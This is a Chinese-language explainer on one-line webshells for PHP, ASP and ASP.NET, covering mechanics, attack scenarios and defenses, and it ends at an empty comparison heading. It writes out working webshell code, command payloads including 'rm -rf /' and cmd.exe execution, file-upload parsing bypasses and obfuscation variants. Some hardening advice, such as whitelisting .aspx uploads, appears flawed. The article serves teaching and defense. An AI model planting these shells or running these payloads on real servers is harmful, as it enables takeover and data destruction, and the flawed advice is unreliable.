漏洞知识点《一句话木马》

PHP一句话木马eval($_POST['pass'])详细解析

eval($_POST['pass']) 是 PHP 语言中一种典型的 一句话木马（WebShell） 代码，常用于渗透攻击中获取服务器控制权。以下从功能原理、安全风险、防御机制三个角度详细解析：

一、代码结构与功能解析

1. 核心函数 eval()
eval() 是 PHP 中一个危险的函数，它将字符串作为 PHP 代码直接执行。例如：

   eval("echo 'Hello';"); // 输出 Hello
   

   在 eval($_POST['pass']) 中，$_POST['pass'] 的值会被解析为代码并执行。

2. $_POST['pass'] 参数的作用
   通过 HTTP POST 请求向服务器发送 pass 参数，其内容会作为代码注入到 eval() 中执行。例如：

   POST /webshell.php HTTP/1.1
   ...
   pass=system('whoami'); // 执行系统命令，返回当前用户

攻击者可通过此参数动态控制服务器行为。

3. 错误抑制符 @
   常见变体 @eval($_POST['pass']) 中的 @ 符号用于抑制错误信息，避免因代码执行失败暴露木马路径。

二、安全风险与攻击场景

1. 任意代码执行
   攻击者可通过 pass 参数注入任意 PHP 或系统命令，例如：

   • pass=file_put_contents('shell.php', '<?php system($_GET["cmd"]);?>')：写入新 WebShell
   • pass=echo shell_exec('rm -rf /');：删除服务器文件
     这直接导致服务器完全沦陷。

2. 隐蔽性强的渗透入口

   • 文件上传漏洞利用：通过上传包含该代码的 .php 文件，结合路径解析漏洞（如 IIS6.0 的 *.asp;.jpg）绕过检测。
   • 工具自动化控制：使用中国蚁剑、菜刀等工具，通过 POST 请求与木马交互，实现文件管理、数据库操作等。

3. 绕过防御的变形手法

   • 编码混淆：使用 Base64、Gzip 压缩等方式隐藏恶意代码，例如：

     eval(gzinflate(base64_decode('...'))); 
     

   • 函数替代：用 assert()、create_function() 等替代 eval()，规避安全扫描。

三、防御与检测方案

1. 禁用高危函数
   在 php.ini 中禁用 eval()、system() 等函数：

   disable_functions = eval, system, exec, passthru

但需注意 eval 是语言结构而非函数，需通过扩展（如 Suhosin）彻底禁用。

2. 输入严格过滤
   • 白名单机制：仅允许特定字符（如数字、运算符），使用正则表达式验证：

    if (preg_match('/^[\d\+\-\*\/\(\)\s]+$/', $_POST['pass'])) {
         // 安全执行
    }

• 代码静态分析：使用工具扫描 eval()、$_POST 等危险模式，结合行为监控检测异常文件操作。

3. 替代方案与安全实践
   • 使用安全解析器：如 Symfony ExpressionLanguage 替代动态执行。
   • 文件上传防护：限制上传类型、强制重命名、隔离存储目录，避免解析漏洞。

ASP一句话木马 <%eval request("pass")%> 详细解析

1. 代码结构与功能

• 核心语法：

  <%eval request("pass")%>
  

  • eval函数：ASP中的eval函数会将字符串作为代码动态解析执行。攻击者通过request("pass")获取HTTP请求中pass参数的值，并直接执行该值中的ASP代码。
  • pass参数：是攻击者通过POST或GET请求传递恶意指令的载体。例如，攻击者发送pass=Response.Write("Hello")，服务器会执行Response.Write("Hello")并返回结果。

• 隐蔽性：

  • 该代码仅一行，可嵌入正常ASP页面或伪装成其他文件（如.txt、.jpg），配合服务器解析漏洞（如IIS的目录解析漏洞）执行。
  • 错误抑制符@常被省略，但若存在（如<%eval @request("pass")%>），可避免执行失败时暴露错误信息。

2. 攻击流程与利用场景

1. 上传木马：

   • 攻击者利用文件上传漏洞（如未校验文件类型、黑名单绕过）将包含该代码的.asp文件上传至服务器。
   • 常见绕过手法：
     • 文件名混淆：如上传shell.asp;.jpg（IIS6.0解析漏洞）或shell.txt后通过.htaccess强制解析为ASP。
     • 内容伪装：将木马代码嵌入图片元数据中，利用服务器漏洞解析执行。

2. 连接与控制：

   • 使用工具（如中国菜刀、冰蝎）发送POST请求，pass参数携带恶意指令（如pass=Server.CreateObject("WScript.Shell").Exec("cmd.exe /c whoami")），执行系统命令并获取结果。
   • 典型攻击场景：
     • 文件管理（增删改查服务器文件）。
     • 数据库操作（窃取或篡改数据）。
     • 权限提升（通过漏洞提权工具如churrasco.exe）。

3. 安全风险与危害

• 远程代码执行（RCE）：攻击者可通过木马完全控制服务器，执行任意系统命令，导致数据泄露、服务瘫痪等。
• 隐蔽渗透：
  • 木马常伪装为404页面或日志文件，逃避管理员检查。
  • 结合加密通信（如HTTPS）或动态生成代码，可绕过传统防火墙和入侵检测系统。
• 横向攻击：以受控服务器为跳板，进一步攻击内网其他系统。

4. 防御与检测方案

1. 代码层防护：

   • 禁用危险函数：在服务器配置中禁用eval、ExecuteGlobal等高危函数。
   • 输入过滤：严格校验用户输入，过滤特殊字符（如<、%）和敏感关键词（如request、eval）。
   • 使用参数化查询：避免拼接SQL语句，防止注入攻击间接触发代码执行。

2. 服务器加固：

   • 文件上传限制：
     • 白名单校验文件扩展名和MIME类型。
     • 强制重命名上传文件，隔离存储至非Web目录。
   • 配置安全：
     • 关闭IIS的目录解析漏洞（如禁止*.asp目录解析）。
     • 禁用.htaccess覆盖权限，防止攻击者重写解析规则。

3. 监测与响应：

   • 日志审计：监控异常文件操作（如.asp文件新增、频繁POST请求）。
   • WAF防护：部署Web应用防火墙，拦截包含eval、request等关键词的恶意请求。
   • 定期渗透测试：通过代码审计和漏洞扫描工具（如OWASP ZAP、Nessus）发现潜在风险。

5. 相关漏洞扩展

• IIS解析漏洞：
  • 目录解析：若存在/xxx.asp/目录，其下所有文件（如1.jpg）均被解析为ASP。
  • 分号截断：shell.asp;.jpg在IIS6.0中被解析为ASP文件。
• 混淆绕过技术：
  • 编码混淆：使用Base64或URL编码隐藏恶意代码（如<%eval(Base64Decode(request("pass")))%>）。
  • 函数替代：用Execute或GetObject替代eval，规避安全检测。

ASP.NET 一句话木马 <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> 详细解析

1. 代码结构与功能解析

1. 基础语法分析

   • <%@ Page Language="Jscript"%>：声明页面使用 JScript 作为脚本语言（而非常见的 C# 或 VB.NET），可绕过部分安全检测，尤其是针对传统 ASP 的防护规则。
   • eval(Request.Item["pass"], "unsafe")：
     • Request.Item["pass"]：通过 HTTP 请求的 pass 参数获取用户输入内容。
     • eval()：动态执行传入的字符串代码，第二个参数 "unsafe" 表示禁用代码安全检查，允许执行任意代码（包括高危操作）。

2. 动态执行特性
   攻击者可向服务器发送携带恶意代码的 pass 参数，例如：

   POST /shell.aspx HTTP/1.1  
   ...
   pass=Response.Write(new ActiveXObject("WScript.Shell").Exec("cmd.exe /c whoami").StdOut.ReadAll())

服务器将执行 cmd.exe 并返回当前用户权限信息，实现远程控制。

2. 攻击场景与利用方式

1. 文件上传漏洞植入

   • 攻击者通过未严格校验的文件上传功能，将木马上传至服务器（如伪装为图片 .aspx;.jpg 或利用 IIS 解析漏洞）。
   • 隐蔽性增强：将代码嵌入正常页面（如 404.aspx）或混淆为注释，规避人工审查。

2. 工具化控制

   • 自动化工具：使用中国蚁剑、哥斯拉等工具，通过 POST 请求注入指令，实现文件管理、数据库操作、内网渗透等。
   • 加密通信：部分工具会对 pass 参数值进行 AES 加密，绕过防火墙的关键词检测。

3. 权限提升与持久化

   • 提权利用：通过执行系统命令调用提权漏洞（如 CVE-2024-21435），获取 SYSTEM 权限。
   • 后门植入：写入计划任务或注册表项，确保木马在服务器重启后仍可激活。

3. 安全风险与危害

1. 远程代码执行（RCE）
   服务器完全暴露给攻击者，可执行任意系统命令，导致数据泄露、服务瘫痪、横向渗透等严重后果。

2. 绕过安全机制

   • 禁用安全检查："unsafe" 参数绕过 ASP.NET 的代码安全策略（如内存保护、类型验证）。
   • 混淆绕过：使用 JScript 语法特性（如 String.fromCharCode 动态生成代码）规避 WAF 规则检测。

3. 低检测率

   • 传统杀毒软件对 ASP.NET 动态脚本的检测能力较弱，尤其是非主流语言（如 JScript）编写的木马。

4. 防御与缓解措施

1. 代码层防护

   • 禁用高危函数：在 web.config 中配置 <compilation debug="false" /> 并移除 JScript 语言支持。
   • 输入过滤：使用正则表达式拦截包含 eval、Request.Item 等敏感关键词的请求。

2. 服务器加固

   • 文件上传限制：
     • 白名单校验扩展名（如仅允许 .aspx 且需签名验证）。
     • 隔离上传目录，设置 No Execute 权限。
   • 日志监控：记录异常文件访问行为（如频繁调用 .aspx 且携带 pass 参数）。

3. 框架与组件更新

   • 升级至最新版 ASP.NET Core，其默认禁用动态编译和 eval 函数。
   • 启用 Code Access Security (CAS) 策略，限制非信任代码的执行权限。

5. 与其他木马的对比